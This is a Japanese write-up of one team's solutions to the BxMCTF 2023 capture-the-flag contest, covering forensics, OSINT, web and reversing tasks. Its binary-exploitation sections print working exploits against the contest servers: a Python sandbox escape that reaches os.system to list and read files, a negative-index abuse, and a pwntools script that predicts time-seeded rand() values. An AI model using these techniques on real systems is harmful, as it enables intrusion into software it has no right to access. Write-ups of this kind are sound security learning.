この大会は2023/5/30 13:00(JST)~2023/6/3 13:00(JST)に開催されました。
今回もチームで参戦。結果は1921点で667チーム中39位でした。
自分で解けた問題をWriteupとして書いておきます。
Welcome to BxMCTF! (General)
問題にフラグが書いてあった。
ctf{check_out_our_sponsors!}
New Website (General)
DNS_PROBE_FINISHED_NXDOMAINは存在しないドメインというエラーということらしい。アクセスできないので、digコマンドで情報を見てみる。
$ dig bxmgen2.jonathanw.dev TXT ; <<>> DiG 9.18.12-1-Debian <<>> bxmgen2.jonathanw.dev TXT ;; global options: +cmd ;; Got answer: ;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 26993 ;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1 ;; OPT PSEUDOSECTION: ; EDNS: version: 0, flags:; udp: 512 ;; QUESTION SECTION: ;bxmgen2.jonathanw.dev. IN TXT ;; ANSWER SECTION: bxmgen2.jonathanw.dev. 1799 IN TXT "ctf{w41t_wh4ts_4_txt_r3c0rd}" ;; Query time: 48 msec ;; SERVER: 8.8.8.8#53(8.8.8.8) (UDP) ;; WHEN: Tue May 30 15:29:51 JST 2023 ;; MSG SIZE rcvd: 91
ctf{w41t_wh4ts_4_txt_r3c0rd}
GeoGuessr IRL (General)
画像検索すると、ブルックリンブリッジの周辺の写真であることがわかる。写真の角度から近い位置は以下のペブルビーチの辺り。
https://www.google.co.jp/maps/@40.7045369,-73.9902818,3a,75y,256.35h,93.2t/data=!3m6!1e1!3m4!1sl46sNszJRsXll9uXZIdw5A!2e0!7i13312!8i6656?hl=ja&entry=ttu
what3wordsで該当する箇所あたりを調べる。
happen.system.privately
ctf{happen.system.privately}
Banking Issues (Binary Exploitation)
balancesは以下のように定義されている。
balances = [10, 20, 50, 16, 29, 52, 100000]
balanceのインデックスを5以下で指定し、その値だけwalletが増える。その結果100000以上になれば、フラグが表示される。インデックスに-1を指定すればよい。
$ nc 198.199.90.158 32979 Which account would you like to withdraw from? -1 You now have $100000 in your wallet. Thanks for storing a lot of $$ at our bank. You qualify for free wealth management services. To access this service, please email ctf{0h_d34r_n3g4t1v3_1dx}@bxmctf.bank. Thank you for banking with BxMCTF Bank.
ctf{0h_d34r_n3g4t1v3_1dx}
Math Class (Binary Exploitation)
最初の5問の足し算は普通に計算できるが、あとの5問は乱数を予測する必要がある。現在時刻をseedにしているので、予測することができる。C言語で必要な数だけ乱数を取得するものを作成し、呼び出すようにする。
$ cat predict_num.c #include <stdio.h> #include <stdlib.h> void main(int argc, char *argv[]) { uint seed; if (argc != 2) { printf("Usage %s <seed>\n", argv[0]); exit(1); } seed = atoi(argv[1]); srand(seed); int lim = rand() % 8192; for (int i = 0; i < lim; i++) { rand(); } for (int i = 0, a, b; i < 5; i++) { a = rand(); b = rand(); } for (int i = 0, b, c; i < 5; i++) { b = rand(); c = rand(); printf("%d %d\n", b, c); } } $ gcc predict_num.c -o predict_num
#!/usr/bin/env python3 from pwn import * import subprocess import time p = remote('198.199.90.158', 33240) seed = int(time.time()) data = p.recvline().decode().rstrip() print(data) for i in range(5): data = p.recvline().decode().rstrip() print(data) ans = eval(data.split(' = ')[0]) print(ans) p.sendline(str(ans).encode()) data = p.recvline().decode().rstrip() print(data) for i in range(5): data = p.recvline().decode().rstrip() print(data) c = int(data.split(' = ')[1]) if i == 0: for sd in range(seed - 3, seed + 3): cmd = ('./predict_num ' + str(sd)).split(' ') output = subprocess.run(cmd, stdout=subprocess.PIPE) nums = output.stdout.rstrip().decode().splitlines() if int(nums[i].split(' ')[1]) == c: break else: assert int(nums[i].split(' ')[1]) == c b = int(nums[i].split(' ')[0]) a = c - b print(a) p.sendline(str(a).encode()) data = p.recvline().decode().rstrip() print(data) data = p.recvline().decode().rstrip() print(data) data = p.recvline().decode().rstrip() print(data)
実行結果は以下の通り。
[+] Opening connection to 198.199.90.158 on port 33240: Done Ok, it's time to do some math! 2133326387 + 1972409159 = ? 4105735546 332247765 + 458126119 = ? 790373884 1357667795 + 1258837927 = ? 2616505722 795779589 + 1253141707 = ? 2048921296 510700662 + 2049925599 = ? 2560626261 Ok, let's switch it up. This time you give me the first number, and I give the rest! ? + # = 328535439 -1756442633 The equation was ? + 2084978072 = 328535439 ? + # = 1040782939 129277265 The equation was ? + 911505674 = 1040782939 ? + # = 1218476458 -355742919 The equation was ? + 1574219377 = 1218476458 ? + # = 788810422 -564030772 The equation was ? + 1352841194 = 788810422 ? + # = 904401826 -310429345 The equation was ? + 1214831171 = 904401826 Ok, you get the flag now, I guess ctf{sr4nd_t1m3_n0t_th4t_r4nd0m} [*] Closed connection to 198.199.90.158 port 33240
ctf{sr4nd_t1m3_n0t_th4t_r4nd0m}
Bonus: The Revenge of Checkpass 1 (Binary Exploitation)
pyjailの問題。
$ nc 198.199.90.158 35230 Enter a Python list: [c for c in "".__class__.__base__.__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('ls -la') total 24 drwxr-xr-x 1 nobody nogroup 4096 May 30 04:15 . drwxr-xr-x 1 nobody nogroup 4096 May 30 04:15 .. -rw-rw-r-- 1 nobody nogroup 36 May 22 01:08 flag.txt -rwxrwxr-x 1 nobody nogroup 611 May 22 01:08 run That's not a list $ nc 198.199.90.158 35230 Enter a Python list: [c for c in "".__class__.__base__.__subclasses__() if c.__name__ == '_wrap_close'][0].__init__.__globals__['system']('cat flag.txt') ctf{pyth0n_s4ndb0x_br34k0ut_1f8bca} That's not a list
ctf{pyth0n_s4ndb0x_br34k0ut_1f8bca}
Deception (Reversing)
5個のbase64文字列がある。3個目は2回デコードし、それ以外は1回デコードする。4個目のデコード結果がJavaのコードになっている。
import java.io.*; import java.util.*; import java.time.*; import java.text.*; import java.math.*; public class Deception { static FastReader FastReader = new FastReader(); static BufferedWriter o = new BufferedWriter(new OutputStreamWriter(System.out)); static PrintWriter pw; static char table[] = { 'd', 'y', 'n', 'm', 'r', '7', '2', '3', '9', '8', 'o', '2', 'm', 'n', 'y', 'l', 'r', 'f', '7', '4', '9', '0', '2', '3', 'q', 'y', 'n', 'd', '7', '8', '9', '4', '2', '3', 'y', 'd', '8', '9', 'o', 'q', '7', 's', 'n', 'g', 'y', 'u', 'i', '2', 'g', 'h', 'u', 'y', 'i', 'c', 'g', 'i', 'k', 'a', 'd', 'l', 'd', 'g', 'h', 'i', 'w', 'k', 'a', 'l', 'S', 'D', 'H', 'N', 'Q', 'O', '3', '2', '7', 'D', 'Q', '2', 'O', '8', 'G', 'D', 'H', '7', '8', 'O', '2', 'Q', 'D', 'N', 'G', 'W', 'U', 'A', 'K', 'D', 'G', 'H', 'X', 'K', 'J', 'S', 'A', 'G', 'D', '2', 'K', 'S', 'A', 'G', 'I', 'K', 'G', 'I', 'Y', 'K', 'G', 'I', 'K', '7', 'i', 'k', 'l', 'f', 'g', '3', 'i', 'k', 'r', 'g', 'f', '3', '8', 'o', '4', '7', 't', 'g', '3', '9', '8', 'o', 'f', 'g', 'o', '7', 'i', 'h', 'f', 'k', 'u', 'i', 'a', 'l', 'w', 'e', 'h', 'f', 'i', 'l', 'w', 'k', 'a', '}', 'h', 'x', 'w', 'l', 'a', 'u', 'k', 'f', 'x', 'n', 'h', 'e', 'a', 'o', 'i', 'u', 'h', 'x', 'f', 'g', 'a', 'w', 'i', 'o', 'u', 'y', 'g', 'h', 'e', 'a', 'w', '8', 'o', 'n', '7', '4', 'w', 'f', '8', 'o', 'n', 'w', 'q', 'g', '7', '8', 'o', '4', 'w', 'a', 'n', 'g', 'h', 'u', 'i', 'a', 'w', 'e', 'k', '0', 'l', 'f', 'b', 'x', 'c', 'j', 'k', 'a', 's', 'd', 'f', 'b', 'j', 'k', 'a', 's', 'e', 'f', 'k', 'j', 'a', '7', 'e', 'n', 'f', 'g', 'a', 'i', 'u', 'y', 'w', 'e', 'k', 'f', 'g', 'y', 'u', 'w', 'e', 'a', 'i', 'o', 'g', 'h', 'x', 'f', 'a', 'e', 'j', 'k', 'w', 'B', 'f', 'w', 'e', 'a', 'k', 'j', 'f', 'g', 'h', 'a', 'w', '7', 'g', 'v', 'a', 'w', 'u', 'b', 't', '3', '2', 'q', '6', '7', '8', 'd', 't', 'b', '3', 'q', '6', '8', 'o', '4', 't', 'q', '7', '8', 'o', 'i', '3', 't', 'r', 'o', '8', 'c', '7', 'b', 't', '3', '5', 'p', '9', 'q', 't', 'y', '5', 'c', '7', '1', 'b', 'r', 't', 'c', 'y', '2', '7', '1', '8', 'f', '2', '7', '1', '8', '9', '0', '7', 'n', 'y', '0', '9', '8', 'y', 'm', 'r', '8', '9', '2', 'm', 'c', '0', '9', '2', 'y', 'i', 'o', 'h', 'u', 'i', 'w', 'h', 'i', 'l', 'w', 'n', 'h', 'r', 'i', 'u', 'w', 'e', 'k', 'l', 'h', 'n', '8', '2', '7', '0', '3', 'n', 'y', 'r', '7', '4', 'j', '3', 'y', 'n', 'r', '7', '8', '3', 'n', 'g', 'h', 'c', 'e', '7', 'u', 'n', 'g', 'c', 'h', 'o', '3', '7', 'i', '4', 'y', 'h', 'r', 'o', 'i', 'u', 'w', 'e', 'h', 'r', 'i', 'o', 'w', 'n', 'r', 'u', 'w', 'e', 'i', 'r', 'h', 'n', 'w', 'o', 'u', 'i', 'e', 'n', 'h', 'r', 'i', 'u', 'i', '3', 'e', 'w', 'n', 'h', 'u', 'i', 'w', 'o', 'h', 'c', 'm', 'r', '7', '8', '4', 'n', 'y', '3', '7', '9', '8', '4', '4', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '6', '3', '9', '8', '7', 'c', 'n', 't', '5', 'y', '9', '3', '4', '7', '8', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6', 'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9', '1', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o', 's', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', 'h', '9', 'q', '7', '0', '4', '2', 'd', 'r', 'y', 'n', 'm', '9', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 't', '9', 'r', 'n', 'y', 'm', 'f', 'o', 'q', '8', '9', '3', 'f', 'y', 'm', 'n', 'y', '3', 'q', '8', '}', 'o', 'd', 'r', 'm', 'n', 'y', 'q', '9', '2', '3', '8', '7', 'y', '7', '8', '9', '5', 'y', 'q', '9', 'd', 'o', 'y', 'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', 'y', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G', 'H', '3', 'I', 'W', 'Y', 'U', 'T', 'G', 'N', '3', 'I', '7', 'f', '4', 'T', 'G', '8', '7', '3', '6', 'I', 'W', 'T', '5', 'Y', '7', '8', 'W', '3', '4', 'O', 'N', 'F', 'C', 'B', 'O', 'd', '3', '7', 'N', 'Y', 'F', 'R', '4', 'N', '7', 'U', 'I', 'Y', 'E', 'K', 'L', 'S', 'H', 'A', 'I', 'U', 'H', 'E', 'R', 'F', 'U', 'A', 'I', 'W', 'K', 'R', 'N', 'o', 'F', 'H', 'A', 'O', '7', '8', '4', 'Y', '7', 'O', '8', 'Y', '7', '8', 'O', 'Y', 'N', '7', '8', '4', 'Y', 'N', 'R', 'Q', '7', 'O', '8', '1', '4', '9', 'R', 'Y', 'N', 'M', 'C', 'Q', '3', 'd', 'R', 'C', 'N', 'Y', '7', 'Q', 'O', 'I', '3', 'U', 'N', 'Y', 'C', 'H', 'R', 'I', 'L', 'U', 'H', 'I', 'L', 'W', 'A', 'H', 'E', 'R', 'U', '1', 'W', 'L', 'N', 'H', 'C', 'U', 'I', 'W', '4', 'A', 'N', 'Y', 'H', 'R', 'C', '4', 'A', 'O', '8', '7', '9', 'R', 'Y', 'N', '7', 'C', 'A', '8', 'Y', 'R', 'C', 'N', '7', '8', 'O', 'A', 'R', 'Y', 'C', 'o', '7', '8', '8', 'O', 'C', 'R', 'Y', 'N', 'M', 'A', 'C', '7', 'N', 'R', 'H', 'A', 'E', 'I', 'U', 'w', 'O', 'H', 'N', 'R', 'C', 'A', 'W', 'U', 'I', 'O', 'N', 'H', 'O', 'U', 'I', '3', '7', '8', '6', '2', '8', 'j', '2', '6', '7', '8', '9', '1', '6', '4', '7', '8', '9', 'n', '6', 'd', 'x', '9', '8', '7', '2', '3', 'n', 'y', '4', '7', '8', '2', 'y', 'x', 'e', '9', 'd', 'h', '2', '7', '3', '8', 'h', 'n', 'x', '7', '8', '9', '2', '1', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '1', '3', '9', '8', '7', 'p', 'P', 'c', 'n', 't', '5', 'y', '9', '3', '4', '7', 'd', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6', 'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9', 'o', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o', 'q', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', '8', '9', 'q', '7', '3', '4', '2', 'd', 'r', 'y', 'n', 'm', 'o', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 'p', '9', 'r', 'n', 'y', 'm', 'f', 'o', 'j', '8', '9', '3', 'f', 'y', 'm', 'n', '7', '3', 'q', '8', '9', 'o', 'd', 'r', 'm', 'n', 'y', 'q', 'j', '2', '3', '8', '7', 'y', '7', '8', 'l', '5', 'y', 'q', '9', 'd', 'o', 'y', 'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', '9', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G', 'H', '3', 'I', 'W', 'Y' }; public static void main(String[] args) throws Exception { System.out.println("Welcome to the LMD Machine 3000!"); System.out.println("Please enter an integer: "); int input = readInt(); System.out.println(); if (input < 1 || input > table.length) { System.out.println("Invalid Input"); System.exit(0); } System.out.print("ctf{"); for (int i = 0, idx = 1; i < 15; ++i) { idx = (idx * input) % table.length; System.out.print(table[idx]); } System.out.println("}"); } static int readInt() {return FastReader.readInt();} static long readLong() {return FastReader.readLong();} static double readDouble() {return FastReader.readDouble();} static float readFloat() {return FastReader.readFloat();} static String readLine() {return FastReader.readLine();} static String next() {return FastReader.next();} static boolean readBool() {return FastReader.readBool();} static class FastReader extends PrintWriter { private final InputStream stream; private final byte[] buf = new byte[1 << 16]; private int curChar, numChars; public FastReader() {this(System.in, System.out);} public FastReader(InputStream i, OutputStream o) {super(o);stream = i;} public FastReader(String i, String o) throws IOException { super(new FileWriter(o)); stream = new FileInputStream(i); } private int readByte() { if (numChars == -1) {throw new InputMismatchException();} if (curChar >= numChars) { curChar = 0; try {numChars = stream.read(buf); }catch(Exception e){throw new InputMismatchException();} if (numChars == -1) {return -1;} } return buf[curChar++]; } public String next() { int c; do {c = readByte();} while (c <= ' '); StringBuilder res = new StringBuilder(); do {res.appendCodePoint(c);c = readByte();} while (c > ' '); return res.toString(); } public String readLine() { int c; do {c = readByte();} while (isEndLine(c)); StringBuilder res = new StringBuilder(); do {res.appendCodePoint(c);c = readByte();} while (c >= ' '); return res.toString(); } public int readInt() { int c, sgn = 1, res = 0; do {c = readByte();} while (c <= ' '); if (c == '-') {sgn = -1;c = readByte();} do { if (c < '0' || c > '9') {throw new InputMismatchException();} res = 10 * res + c - '0';c = readByte(); } while (c > ' '); return res * sgn; } /** * Psst * * https://drive.google.com/file/d/1oDDXyVxYHqdGB6H2bddUxbRL3z39SZb3/view?usp=sharing */ public double readDouble() {return Double.parseDouble(next());} public long readLong() {return Long.parseLong(next());} public float readFloat() {return Float.parseFloat(next());} public boolean readBool() {return Boolean.parseBoolean(next());} boolean isEndLine(int c) {return c == '\n' || c == '\r' || c == -1;} } }
この処理の概要は以下の通り。
・table: 既知の文字の配列 ・input: 数値入力 ・inputが1より小さいかtableの長さより大きい場合、エラー ・"ctf{"を出力 ・idx = 1 ・15回以下繰り返し ・idx = (idx * input) % tableの長さ ・table[idx]を出力 ・"}"を出力
全パターンを出力してみる。
#!/usr/bin/env python3 table = [ 'd', 'y', 'n', 'm', 'r', '7', '2', '3', '9', '8', 'o', '2', 'm', 'n', 'y', 'l', 'r', 'f', '7', '4', '9', '0', '2', '3', 'q', 'y', 'n', 'd', '7', '8', '9', '4', '2', '3', 'y', 'd', '8', '9', 'o', 'q', '7', 's', 'n', 'g', 'y', 'u', 'i', '2', 'g', 'h', 'u', 'y', 'i', 'c', 'g', 'i', 'k', 'a', 'd', 'l', 'd', 'g', 'h', 'i', 'w', 'k', 'a', 'l', 'S', 'D', 'H', 'N', 'Q', 'O', '3', '2', '7', 'D', 'Q', '2', 'O', '8', 'G', 'D', 'H', '7', '8', 'O', '2', 'Q', 'D', 'N', 'G', 'W', 'U', 'A', 'K', 'D', 'G', 'H', 'X', 'K', 'J', 'S', 'A', 'G', 'D', '2', 'K', 'S', 'A', 'G', 'I', 'K', 'G', 'I', 'Y', 'K', 'G', 'I', 'K', '7', 'i', 'k', 'l', 'f', 'g', '3', 'i', 'k', 'r', 'g', 'f', '3', '8', 'o', '4', '7', 't', 'g', '3', '9', '8', 'o', 'f', 'g', 'o', '7', 'i', 'h', 'f', 'k', 'u', 'i', 'a', 'l', 'w', 'e', 'h', 'f', 'i', 'l', 'w', 'k', 'a', '}', 'h', 'x', 'w', 'l', 'a', 'u', 'k', 'f', 'x', 'n', 'h', 'e', 'a', 'o', 'i', 'u', 'h', 'x', 'f', 'g', 'a', 'w', 'i', 'o', 'u', 'y', 'g', 'h', 'e', 'a', 'w', '8', 'o', 'n', '7', '4', 'w', 'f', '8', 'o', 'n', 'w', 'q', 'g', '7', '8', 'o', '4', 'w', 'a', 'n', 'g', 'h', 'u', 'i', 'a', 'w', 'e', 'k', '0', 'l', 'f', 'b', 'x', 'c', 'j', 'k', 'a', 's', 'd', 'f', 'b', 'j', 'k', 'a', 's', 'e', 'f', 'k', 'j', 'a', '7', 'e', 'n', 'f', 'g', 'a', 'i', 'u', 'y', 'w', 'e', 'k', 'f', 'g', 'y', 'u', 'w', 'e', 'a', 'i', 'o', 'g', 'h', 'x', 'f', 'a', 'e', 'j', 'k', 'w', 'B', 'f', 'w', 'e', 'a', 'k', 'j', 'f', 'g', 'h', 'a', 'w', '7', 'g', 'v', 'a', 'w', 'u', 'b', 't', '3', '2', 'q', '6', '7', '8', 'd', 't', 'b', '3', 'q', '6', '8', 'o', '4', 't', 'q', '7', '8', 'o', 'i', '3', 't', 'r', 'o', '8', 'c', '7', 'b', 't', '3', '5', 'p', '9', 'q', 't', 'y', '5', 'c', '7', '1', 'b', 'r', 't', 'c', 'y', '2', '7', '1', '8', 'f', '2', '7', '1', '8', '9', '0', '7', 'n', 'y', '0', '9', '8', 'y', 'm', 'r', '8', '9', '2', 'm', 'c', '0', '9', '2', 'y', 'i', 'o', 'h', 'u', 'i', 'w', 'h', 'i', 'l', 'w', 'n', 'h', 'r', 'i', 'u', 'w', 'e', 'k', 'l', 'h', 'n', '8', '2', '7', '0', '3', 'n', 'y', 'r', '7', '4', 'j', '3', 'y', 'n', 'r', '7', '8', '3', 'n', 'g', 'h', 'c', 'e', '7', 'u', 'n', 'g', 'c', 'h', 'o', '3', '7', 'i', '4', 'y', 'h', 'r', 'o', 'i', 'u', 'w', 'e', 'h', 'r', 'i', 'o', 'w', 'n', 'r', 'u', 'w', 'e', 'i', 'r', 'h', 'n', 'w', 'o', 'u', 'i', 'e', 'n', 'h', 'r', 'i', 'u', 'i', '3', 'e', 'w', 'n', 'h', 'u', 'i', 'w', 'o', 'h', 'c', 'm', 'r', '7', '8', '4', 'n', 'y', '3', '7', '9', '8', '4', '4', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '6', '3', '9', '8', '7', 'c', 'n', 't', '5', 'y', '9', '3', '4', '7', '8', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6', 'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9', '1', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o', 's', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', 'h', '9', 'q', '7', '0', '4', '2', 'd', 'r', 'y', 'n', 'm', '9', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 't', '9', 'r', 'n', 'y', 'm', 'f', 'o', 'q', '8', '9', '3', 'f', 'y', 'm', 'n', 'y', '3', 'q', '8', '}', 'o', 'd', 'r', 'm', 'n', 'y', 'q', '9', '2', '3', '8', '7', 'y', '7', '8', '9', '5', 'y', 'q', '9', 'd', 'o', 'y', 'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', 'y', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G', 'H', '3', 'I', 'W', 'Y', 'U', 'T', 'G', 'N', '3', 'I', '7', 'f', '4', 'T', 'G', '8', '7', '3', '6', 'I', 'W', 'T', '5', 'Y', '7', '8', 'W', '3', '4', 'O', 'N', 'F', 'C', 'B', 'O', 'd', '3', '7', 'N', 'Y', 'F', 'R', '4', 'N', '7', 'U', 'I', 'Y', 'E', 'K', 'L', 'S', 'H', 'A', 'I', 'U', 'H', 'E', 'R', 'F', 'U', 'A', 'I', 'W', 'K', 'R', 'N', 'o', 'F', 'H', 'A', 'O', '7', '8', '4', 'Y', '7', 'O', '8', 'Y', '7', '8', 'O', 'Y', 'N', '7', '8', '4', 'Y', 'N', 'R', 'Q', '7', 'O', '8', '1', '4', '9', 'R', 'Y', 'N', 'M', 'C', 'Q', '3', 'd', 'R', 'C', 'N', 'Y', '7', 'Q', 'O', 'I', '3', 'U', 'N', 'Y', 'C', 'H', 'R', 'I', 'L', 'U', 'H', 'I', 'L', 'W', 'A', 'H', 'E', 'R', 'U', '1', 'W', 'L', 'N', 'H', 'C', 'U', 'I', 'W', '4', 'A', 'N', 'Y', 'H', 'R', 'C', '4', 'A', 'O', '8', '7', '9', 'R', 'Y', 'N', '7', 'C', 'A', '8', 'Y', 'R', 'C', 'N', '7', '8', 'O', 'A', 'R', 'Y', 'C', 'o', '7', '8', '8', 'O', 'C', 'R', 'Y', 'N', 'M', 'A', 'C', '7', 'N', 'R', 'H', 'A', 'E', 'I', 'U', 'w', 'O', 'H', 'N', 'R', 'C', 'A', 'W', 'U', 'I', 'O', 'N', 'H', 'O', 'U', 'I', '3', '7', '8', '6', '2', '8', 'j', '2', '6', '7', '8', '9', '1', '6', '4', '7', '8', '9', 'n', '6', 'd', 'x', '9', '8', '7', '2', '3', 'n', 'y', '4', '7', '8', '2', 'y', 'x', 'e', '9', 'd', 'h', '2', '7', '3', '8', 'h', 'n', 'x', '7', '8', '9', '2', '1', '5', '4', '4', '6', 't', '4', '3', '7', '8', '9', '5', '1', '3', '9', '8', '7', 'p', 'P', 'c', 'n', 't', '5', 'y', '9', '3', '4', '7', 'd', 'n', '5', 't', 'y', 'c', '7', '8', '9', '3', '4', '6', 'c', '5', '9', '8', '7', '3', '2', '7', '9', 't', 'y', 'b', 'n', '9', 'p', '2', 'y', 'n', 'x', '9', 'o', '2', 'y', '3', 'r', 'y', 'n', 'd', 'f', '9', '8', 'o', 'r', '7', 'y', 'n', 'm', 'r', 'd', 'o', 'q', '8', '9', '7', 'y', 'n', 'm', 'd', 'r', 'o', '8', '9', 'q', '7', '3', '4', '2', 'd', 'r', 'y', 'n', 'm', 'o', '3', '2', 'q', '7', '8', '9', 'd', 'y', 'm', '4', 'o', 'q', '8', 'p', '9', 'r', 'n', 'y', 'm', 'f', 'o', 'j', '8', '9', '3', 'f', 'y', 'm', 'n', '7', '3', 'q', '8', '9', 'o', 'd', 'r', 'm', 'n', 'y', 'q', 'j', '2', '3', '8', '7', 'y', '7', '8', 'l', '5', 'y', 'q', '9', 'd', 'o', 'y', 'l', 'a', 'y', 'a', 'l', 'y', 'd', '9', '9', 'n', 'l', 'y', 'i', '7', 'N', '7', 'F', 'C', 'N', 'G', 'H', '3', 'I', 'W', 'Y' ] for input in range(1, len(table) + 1): idx = 1 flag = '' for i in range(15): idx = (idx * input) % len(table) flag += table[idx] if '}' not in flag: flag = 'ctf{%s}' % flag print(flag)
結果は特に英単語になっていそうなものもない。他に手掛かりを探す。https://drive.google.com/file/d/1oDDXyVxYHqdGB6H2bddUxbRL3z39SZb3/view?usp=sharingにアクセスすると、Key.txtがダウンロードできる。
Brainf*ck言語になっているので、https://sange.fi/esoteric/brainfuck/impl/interp/i.htmlで実行する。その結果以下のbase64文字列が表示された。
Um9zZXMgYXJlIHJlZCwKVmlvbGV0cyBhcmUgYmx1ZSwKSWYgb25lIHdhbnRzIHRvIHBpY2sgdGhlIGNvcnJlY3QgZmxhZywKVGhlbiB0aGV5IHNob3VsZCBzZWVrIHRoZSBVbml4IEVwb2NoIGFzIGEgY2x1ZQ==
base64デコードする。
$ echo Um9zZXMgYXJlIHJlZCwKVmlvbGV0cyBhcmUgYmx1ZSwKSWYgb25lIHdhbnRzIHRvIHBpY2sgdGhlIGNvcnJlY3QgZmxhZywKVGhlbiB0aGV5IHNob3VsZCBzZWVrIHRoZSBVbml4IEVwb2NoIGFzIGEgY2x1ZQ== | base64 -d Roses are red, Violets are blue, If one wants to pick the correct flag, Then they should seek the Unix Epoch as a clue
全然わからないので、1個1個Submitしてみる。
ctf{hjwilj111970djs}
MCV5U (Reversing)
valがいくつになるかわからないが、それほど大きい値にならないと推測し、ブルートフォースでハッシュの条件を満たすものを探す。割り出すことができれば、あとはそれを元にフラグにする。
#!/usr/bin/env python3 import hashlib VERIFY_KEY = "46e1b8845b40bc9d977b8932580ae44c" found = False for val in range(-300000 * 1000, 300000 * 1000): val = str(val) val_md5 = hashlib.md5(val.encode()).hexdigest() if val_md5 == VERIFY_KEY: found = True break assert found key = str(hashlib.sha256(val.encode()).digest()) flag = "ctf{" + "".join(list([x for x in key if x.isalpha() or x.isnumeric()])) + "}" print(flag)
ctf{bx8b2xdcx80x8bxafx90x16x0fxc9Cx87x99Gx8cx1dxb9x8exb4xfaLx93xcfx9dxcfyx13xb5Lxee}
Blank Space - I mean Page (Web)
$ curl https://bxmweb1.jonathanw.dev/robots.txt User-agent: * Disallow: /very-secretly-hidden $ curl https://bxmweb1.jonathanw.dev/very-secretly-hidden <html> <head><title>301 Moved Permanently</title></head> <body> <center><h1>301 Moved Permanently</h1></center> <hr><center>nginx</center> </body> </html> $ curl https://bxmweb1.jonathanw.dev/very-secretly-hidden -L ctf{sdh57349857243fkhkwAklkAH}
ctf{sdh57349857243fkhkwAklkAH}
Repository Security (Web)
app.pyにユーザのID, パスワードが書いてある。chuck / norrisでログインすると、フラグが表示された。
ctf{wh4t_4_h4rd_qu3sti0n}
Selfie (Forensics)
$ exiftool BxMCTF-Foren-1.jpg ExifTool Version Number : 12.57 File Name : BxMCTF-Foren-1.jpg Directory : . File Size : 70 kB File Modification Date/Time : 2023:05:21 16:46:28+09:00 File Access Date/Time : 2023:05:30 14:41:27+09:00 File Inode Change Date/Time : 2023:05:30 14:41:04+09:00 File Permissions : -rwxrwx--- File Type : JPEG File Type Extension : jpg MIME Type : image/jpeg Exif Byte Order : Big-endian (Motorola, MM) XMP Toolkit : Image::ExifTool 12.60 License : Y3Rme25xaUoyQnQyaVZEa2d6fQ Image Width : 1241 Image Height : 1157 Encoding Process : Progressive DCT, Huffman coding Bits Per Sample : 8 Color Components : 3 Y Cb Cr Sub Sampling : YCbCr4:2:0 (2 2) Image Size : 1241x1157 Megapixels : 1.4
Licenseにbase64文字列らしきものが設定されているので、base64デコードする。
$ echo Y3Rme25xaUoyQnQyaVZEa2d6fQ== | base64 -d ctf{nqiJ2Bt2iVDkgz}
ctf{nqiJ2Bt2iVDkgz}
Street View (Forensics)
撮影した場所の建物を所有する会社のドメイン名を答える必要がある。
$ exiftool BxMCTF-Foren-2.png ExifTool Version Number : 12.57 File Name : BxMCTF-Foren-2.png Directory : . File Size : 1186 kB File Modification Date/Time : 2023:05:21 16:56:04+09:00 File Access Date/Time : 2023:05:30 15:41:45+09:00 File Inode Change Date/Time : 2023:05:30 15:41:34+09:00 File Permissions : -rwxrwx--- File Type : PNG File Type Extension : png MIME Type : image/png Image Width : 1203 Image Height : 709 Bit Depth : 8 Color Type : RGB with Alpha Compression : Deflate/Inflate Filter : Adaptive Interlace : Noninterlaced Exif Byte Order : Big-endian (Motorola, MM) XMP Toolkit : Image::ExifTool 12.60 Latitude : 43 deg 52' 38.32" N Longitude : 79 deg 24' 31.00" W Image Size : 1203x709 Megapixels : 0.853
撮影した場所の緯度、経度は以下の通り。
43°52'38.32"N 79°24'31.00"W
Google Mapで調べると、建物は以下の名称となっている。
Walmart Supercentre
ctf{walmart.ca}
Secrets (Forensics)
バイナリエディタで見ると、bmpのフォーマットに見える。0x0a-0x0bと0x0e-0x0fの位置に、\xde\xadというデータが入っているので、修正する。
0x0a-0x0b: de ad -> 36 00 0x0a-0x0b: de ad -> 28 00
画像にフラグが書いてあるが、これは通らなかった。
ctf{totally_the_correct_flag}
画像の高さを変更してみる。
0x16-0x17: f4 01 -> 50 02
元の画像の上にさらに画像が現れ、フラグが書いてあった。
ctf{1m4g3_s3cr3ts}
TinyTinyTinyTiny10 (Forensics)
VHD Attachをインストールし、vhdをマウントする。その際、bitlockerのパスワードを入力する。
